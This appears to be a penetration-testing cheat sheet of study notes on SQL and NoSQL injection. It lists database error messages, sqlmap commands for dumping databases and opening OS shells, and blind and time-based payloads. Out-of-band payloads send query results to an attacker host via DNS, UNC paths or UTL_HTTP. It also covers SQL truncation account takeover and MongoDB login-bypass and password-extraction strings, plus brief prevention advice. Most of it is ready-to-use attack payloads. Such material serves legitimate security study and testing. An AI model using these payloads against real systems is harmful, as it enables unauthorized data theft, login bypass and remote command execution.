  + Meaning: For Oracle and MS-SQL, SQL injection is present, and it is almost certainly exploitable! If you entered a single quote and it altered the syntax of the database query, this is the error you’d expect. For MySQL, SQL injection may be present, but the same error message can appear in other contexts.
    - Oracle: ORA-01756: quoted string not properly terminated ORA-00933: SQL command not properly ended
    - MS-SQL: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near ‘foo’

Msg 105, Level 15, State 1, Line 1

Unclosed quotation mark before the character string ‘foo’

* + - MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’foo’ at line X
  + Meaning: You have commented out or removed a variable that normally would be supplied to the database. In MS-SQL, you should be able to use time delay techniques to perform arbitrary data retrieval.
    - Oracle: PLS-00306: wrong number or types of arguments in call to ‘XXX’
    - MS-SQL: Procedure ‘XXX’ expects parameter ‘@YYY’, which was not supplied
    - MySQL: N/A
  + Meaning: You will see this when you are attempting a UNION SELECT attack, and you have specified a different number of columns to the number in the original SELECT statement.
    - Oracle: ORA-01789: query block has incorrect number of result columns
    - MS-SQL: Msg 205, Level 16, State 1, Line 1 All queries in a SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
    - MySQL: The used SELECT statements have a different number of columns
  + Meaning: You will see this when you are attempting a UNION SELECT attack, and you have specified a different data type from that found in the original SELECT statement. Try using a NULL, or using 1 or 2000.
    - Oracle: ORA-01790: expression must have same datatype as corresponding expression
    - MS-SQL: Msg 245, Level 16, State 1, Line 1

Syntax error converting the varchar value ‘foo’ to a column of data type int.

* + - MySQL: (MySQL will not give you an error.)
  + Meaning: Your input doesn’t match the expected data type for the field. You may have SQL injection, and you may not need a single quote, so try simply entering a number followed by your SQL to be injected. In
    - Oracle: ORA-01722: invalid number

ORA-01858: a non-numeric character was found where a numeric was expected

* + - MS-SQL: Msg 245, Level 16, State 1, Line 1

Syntax error converting the varchar value ‘foo’ to a column of data type int.

* + - MySQL: (MySQL will not give you an error.)
* **Tools** 
  + **sqlmap**
    - sqlmap -u "url"
    - SQL in GET request we use –p parameter
      * sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" //-p=parameter
    - SQl in POST request we add –data parameter and include all data send in post body
      * sqlmap -u <http://10.11.0.22/debug.php> –data=”uname=ahmed&pass=ahmed123&submit=submit” -p=”uname”
    - sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --users
      * get all users in the system
    - sqlmap -u "url" --cookie="phpsession=......"
    - sqlmap -u "url" --cookie="phpsession=......" --form
      * //when you give him a url without a variables and you want him to automatically find the form and test it (post request )
    - sqlmap -u "url" --cookie="phpsession=......" --dbms=mysql
    - sqlmap -u "url" --cookie="phpsession=......" --dbms=mysql --dbs --dump
      * //get db names
    - sqlmap -u "url" --cookie="phpsession=......" --dbms=mysql -D <dbname> --tables
      * //show me all the tables of that db
    - sqlmap -u "url" --cookie="phpsession=......" --dbms=mysql -D <dbname> -T <table name> --colums
      * //show me all the fields of that table ( add --dump //give me all the data in that table)
    - sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell
      * //--os-shell=automatically upload and execute a remote command shell on the target system.
    - Note
      * We can copy the request sent ffrom burp and save it in a file and use sqlmap to test on it
        + Sqlmap –r request\_file.txt -p parameter\_name <any other options>
      * --Technique={U,B,..} determine the technique used
        + U=Union based
        + B=Blind based
  + **SQl ninja**
  + **Havij (windows based)**
* **Blind SQL injection:**
  + **Blind SQL injection by conditional responses**
    - **TESTING for blind based sql**
      * We first try to get a normal valid page with a valid response lets suggest it will show a valid response when the value is = 1
      * So 1’ 1=1 -> is True and should response with the normal way
      * So 1’ 1=2 -> is False and should response with a different way
      * The exploiting after that should be the same as a normal sql if the result is true the normal response is shown else a different response is shown
    - **Exploiting Boolean based blind sql with substring()**
      * We will try to bruteforce the answer to extract data
        + Get database version

Text’ and substring(@@Version ,1,1)=1 -- -> generate an error

Text’ and substring(@@Version ,1,1)=2 -- -> generate an error

Text’ and substring(@@Version ,1,1)=3 -- -> generate an error

Text’ and substring(@@Version ,1,1)=4 -- -> generate an error

Text’ and substring(@@Version ,1,1)=5 -- -> no error

So by this method we know that the version of the sql is 5

* + - * + Get database name

Text’ and substringdatabase() ,1,1)=’a’ --

We will try all alphabetic character until we get no error then we move on to the next character

Text’ and substringdatabase() ,2,1)=’a’ --

Text’ and substringdatabase() ,3,1)=’a’ --

We will try to breuteforce and complete until we get the whole name of the database

* + - **Exploiting Boolean based blind sql with sqlmap** 
      * Sqlmap -u=”” –cookie=”” –string=”” –dump
        + –string=part of the string that being outputted when we get a valid result
  + **Blind SQL injection by conditional responses by triggering SQL errors**
    - **Conditional errors**
      * You can test a single boolean condition and trigger a database error if the condition is true.
      * **Oracle** 
        + SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to\_char(1/0) ELSE NULL END FROM dual
      * **Microsoft**
        + SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
      * **PostgreSQL**
        + SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
      * **MySQL**
        + SELECT IF(YOUR-CONDITION-HERE,(SELECT table\_name FROM information\_schema.tables),'a')
  + **Blind SQL injection by triggering time delays**
    - **Exploiting time based blind sql injection**
      * The exploitation is similar to a normal sql but the difference is we add a delay function if the response is delayed with the same time we specified then that means that the request sent is true if we received the response immediately without any delay that means that the request being sent is False
    - **Cause a time delay in Different DBMS**
      * Oracle: dbms\_pipe.receive\_message(('a'),10)
      * MS-SQL: waitfor delay ‘0:0:10’ exec master..xp\_cmdshell ‘ping localhost’
      * MySQL: sleep(10)
      * Postgresql : pg\_sleep(10)
    - **Payload Examples :**
      * ProductID = 1;waitfor delay '0:0:10'--
      * ProductID =1);waitfor delay '0:0:10'--
      * ProductID =1';waitfor delay '0:0:10'--
      * ProductID =1');waitfor delay '0:0:10'--
      * ProductID =1));waitfor delay '0:0:10'--
      * ProductID =1'));waitfor delay '0:0:10'—
      * ProductID =1' SELECT pg\_sleep(10) --
      * ProductID =1' SELECT sleep(10) and 1=2 –
    - **Conditional time delays**
      * You can test a single boolean condition and trigger a time delay if the condition is true.
      * **Oracle** 
        + SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms\_pipe.receive\_message(('a'),10) ELSE NULL END FROM dual
      * **Microsoft**
        + IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
      * **PostgreSQL**
        + SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg\_sleep(10) ELSE pg\_sleep(0) END
      * **MySQL**
        + SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
  + **Tools**
    - BBQSQL is a Kali Linux tool specifically created to exploit a blind SQL injection flaw. BBQSQL is a tool written in Python. It's a menu-driven tool that asks several questions and then builds the injection attack based on your responses. It is one of the faster tools that can automate the testing of a blind SQL injection flaw with great accuracy.
  + **Resources**
    - https://portswigger.net/web-security/sql-injection/blind
* **Blind sql with Out of band attacks**
  + A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems.
  + The easiest and most reliable way to use out-of-band techniques is using Burp collaborator This is a server that provides custom implementations of various network services (including DNS), and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application.
    - The techniques for triggering a DNS query are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to cause a DNS lookup on a specified domain:
      * '; exec master..xp\_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
    - This will cause the database to perform a lookup for the following domain:
      * 0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
  + **SQL Server**
    - ?vulnerableParam=1; SELECT \* FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')  
      Makes DNS resolution request to {INJECT}.yourhost.com
    - ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp\_dirtree @q
      * Makes DNS resolution request to {INJECTION}.yourhost.com  
        {INJECTION} = You want to run the query.
  + **Mysql**
    - ?vulnerableParam=-99 OR (SELECT LOAD\_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\')))  
      Makes a NBNS query request/DNS resolution request to yourhost.com
    - ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')  
      Writes data to your shared folder/file
      * {INJECTION} = You want to run the query.
  + **Oracle**
    - ?vulnerableParam=(SELECT UTL\_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)  
      Sniffer application will save results
    - ?vulnerableParam=(SELECT UTL\_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)  
      Results will be saved in HTTP access logs
    - ?vulnerableParam=(SELECT UTL\_INADDR.get\_host\_addr(({INJECTION})||'.yourhost.com') FROM DUAL)  
      You need to sniff dns resolution requests to yourhost.com
    - ?vulnerableParam=(SELECT SYS.DBMS\_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)  
      You need to sniff dns resolution requests to yourhost.com
      * {INJECTION} = You want to run the query.
  + **DNS lookup with Burp collaborator**
    - You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
    - **Oracle**
      * The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
        + SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
      * The following technique works on fully patched Oracle installations, but requires elevated privileges:
        + SELECT UTL\_INADDR.get\_host\_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
    - **Microsoft**
      * exec master..xp\_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
    - **PostgreSQL**
      * copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
    - **MySQL**
      * The following techniques work on Windows only:
      * LOAD\_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
* **Sql truncation**
  + SQL Truncation is a vulnerability that threatens the primary application that uses the MySQL database server in its default configuration. The threat is based on the fact that if the stored string does not fit into a column with a specific text data type, it will crop and store the value in a truncated form.
  + The SQL Truncation vulnerability is a very interesting flaw in the database. The successful exploitation of this issue leads to user account compromise, as it means an attacker can access any users account with his own password
  + First we will see why this issue occurs in the database. If the user input value is not validating for its length, then a truncation vulnerability can arise. If the MySQL is running in default mode, Administrator account as admin, the database column is limited to 20 characters.
  + **Code Example**
    - Create table If not Exists user(
    - Id INT NOT NULL AUTO\_INCREMENT,
    - Username Varchar(20) ,
    - Password Varchar(32) ,
    - PrimaryKey(id) ) ;
      * the username column will receive the value of the uid created with a maximum length of 20. If it exceeds 20, the string after position 20 will be cut off that takes the value before position 20
  + **Steps of Exploitation:**
    - see the max character length that it accepts let’s say it’s 20 characters the default
    - Go to register page and register with “admin Anything” the word admin is 5 characters and we will add 15 more space to make the sum = 20 character and then add any extra random string this string that will be truncated and add your password ex: pass123
    - Go and login we the new credentials admin:pass123 then you are logged as admin
  + **Resources**
    - https://resources.infosecinstitute.com/sql-truncation-attack/#gref
* **Preventing Sql injection**
  + **Parameterized Queries**
    - Most databases and application development platforms provide APIs for handling Untrusted input in a secure way, which prevents SQL injection vulnerabilities from arising. In parameterized queries (also known as prepared statements), the construction of a SQL statement containing user input is performed in two steps:
      * 1. The application specifies the query’s structure, leaving placeholders for each item of user input.
      * 2. The application specifies the contents of each placeholder
  + **Implement Defense in depth**
    - three layers of further defense can be employed:
      * The application should use the lowest possible level of privileges when accessing the database
      * Many enterprise databases include a huge amount of default functionality that can be leveraged by an attacker who gains the ability to execute arbitrary SQL statements. Wherever possible, unnecessary functions should be removed or disabled
      * All vendor-issued security patches should be evaluated, tested, and applied in a timely way to fi x known vulnerabilities within the database software itself.
* **NOSQL INJECTION:**
  + **Introduction**
    - In recent years, Big Data, or the storage, processing, and analysis of enormous amounts of information in various versions and with various purposes is being increasingly promoted and implemented in companies of different sizes. This kind of information is usually nonstructured or derived from sources that are not necessarily compatible. Thus, it needs to be stored in some special kind of database, the so-called Not only SQL (NoSQL) databases such as MongoDB, CouchDB, Cassandra, and HBase.
    - NoSQL queries are usually done in
      * JSON format ,
      * xpath
      * programing langage such as javascript
      * key/value lookup
    - Testing for NoSQL injection NoSQL queries are usually done in JSON format. For example, a query in MongoDB may look like the following:
      * User.find({ username: req.body.username, password: req.body.password }, ...
      * db->logins->find(array("userid"=>$\_POST["userid"], "passwd"=>$\_POST["passwd"]));
    - To inject code in an application using a MongoDB database, you need to take advantage of the JSON syntax using characters such as ' " ; { } and form valid JSON structures.
      * Ex: {"username":"admin","password":{"$gt":""}}
      * $gt is a special query operator for MongoDB that represents the greater than (>) binary operation. More operators and injection strings can be found Ex
        + $ne : !=
        + $gt : >
        + $lt : <
        + $exist = Whether the key exists
        + $where : Filtering script
        + $regex : regular expressions
        + ', " = string processing
        + : = coupler
        + {}[]() = Relationship bundle
    - Request format
      * http://test.com/page?parameter=value // normal URL
      * http://test.com/page?[parameter]=value // PHP treats input as an array now
    - Example
      * Normal request userid=anyname&passwd=anypass
      * payload = example.php?userid[$ne]=1&passwd[$ne]=1
      * PHP code will be = array("userid"=> array("$ne" => 1), "passwd" => array("$ne" => 1));
      * nosql query will be = db.logins.find({ userid: {$ne: 1 }, passwd: {$ne: 1} })
      * $ne means !=, which means it will return all userid which is not 1 and passwd is not 1, i.e. all items (users) in the login collection

### Authentication Bypass

* + - Basic authentication bypass using not equal ($ne) or greater ($gt)
    - in DATA payloads Examples
      * username[$ne]=toto&password[$ne]=toto
      * login[$regex]=a.\*&pass[$ne]=lol
      * login[$gt]=admin&login[$lt]=test&pass[$ne]=1
      * login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
    - in JSON payloads Examples
      * {"username": {"$ne": null}, "password": {"$ne": null}}
      * {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
      * {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
      * {"username": {"$gt":""}, "password": {"$gt":""}}

### Extract length information

* + - username[$ne]=toto&password[$regex]=.{1}
    - username[$ne]=toto&password[$regex]=.{3}

### Extract data information

* + - **in URL**
      * username[$ne]=toto&password[$regex]=m.{2}
      * username[$ne]=toto&password[$regex]=md.{1}
      * username[$ne]=toto&password[$regex]=mdp
      * username[$ne]=toto&password[$regex]=m.\*
      * username[$ne]=toto&password[$regex]=md.\*
    - **in JSON**
      * {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
      * {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
      * {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
    - **Extract data with "in"**
      * {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
  + **Blind Nosql**
    - PHP we can replace parameter with [$regex] and the value with a regular expression to search, and PHP will create a query that looks like ["data" => ['$regex': => 'searchValue']] which allows an injection. From here, we can do things like make the query always true, or ask questions about the data to extract it.
  + **JavaScript Injection in MongoDB**
    - MongoDB deliberately allows applications to run JavaScript on the server within the $where and mapReduce operations.
    - Let’s say we have a vulnerable application where the developer uses MongoDB’s $where query operator with unvalidated user inputs. This allows an attacker to inject malicious input containing JavaScript code. While the attacker can’t inject completely arbitrary JavaScript, only code that uses a limited set of functions, this is quite enough for a useful attack.
    - To query a MongoDB data store with the $where operator, you would normally use the find() function, for example:
      * db.collection.find( { $where: function() { return (this.name == 'Netsparker') } } );
    - This would match records with name Netsparker. A vulnerable PHP application might directly insert unsanitized user input when building the query, for example from the variable $userData:
      * db.collection.find( { $where: function() { return (this.name == $userData) } } );
    - The attacker might then inject an exploit string like 'a'; sleep(5000) into $userData to have the server pause for 5 seconds if the injection was successful. The query executed by the server would be:
      * db.collection.find( { $where: function() { return (this.name == 'a'; sleep(5000) ) } } );
    - if Node.js is used for server-side scripting, as in the popular MEAN stack (MongoDB, ExpressJS, AngularJS, and Node.js), server-side JavaScript injection into Node.js may be possible.
  + **preventing NOSQL injection :**
    - The key aspect of preventing injection vulnerabilities is validation. The user-provided input should never be trusted and should always be validated and rejected or sanitized if it contains invalid or dangerous characters such as the following: Quotes (' and ") Parentheses and brackets Reserved special characters ('!', '%', '&', and ';') Comments combinations ('--', '/\*', '\*/', '#', and '(:', ':)') Other characters specific to language and implementation The recommended approach for validation is the whitelist. This means having a list of allowed characters for each input field or group of fields and comparing the submitted strings to that list. All characters in the submitted string must be in the allowed list for it to be validated.
  + **Tools :** 
    - NOsqlmap
      * nosql tool :  <https://github.com/codingo/NoSQLMap>

## **Second-order SQL injection:**

* + First-order SQL injection arises where the application takes user input from an HTTP request and, in the course of processing that request, incorporates the input into an SQL query in an unsafe way.
  + In second-order SQL injection (also known as stored SQL injection), the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into an SQL query in an unsafe way.
    - <https://portswigger.net/web-security/images/second-order-sql-injection.svg>
* **Blogs and resources on sql injection**
  + <http://pentestmonkey.net/category/cheat-sheet/sql-injection>
  + <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
  + <https://hsaad.gitbook.io/learn/red-team/web-app-pentesting/cross-site-scripting>
  + <https://guide.offsecnewbie.com/5-sql>
  + <https://www.exploit-db.com/papers/12975>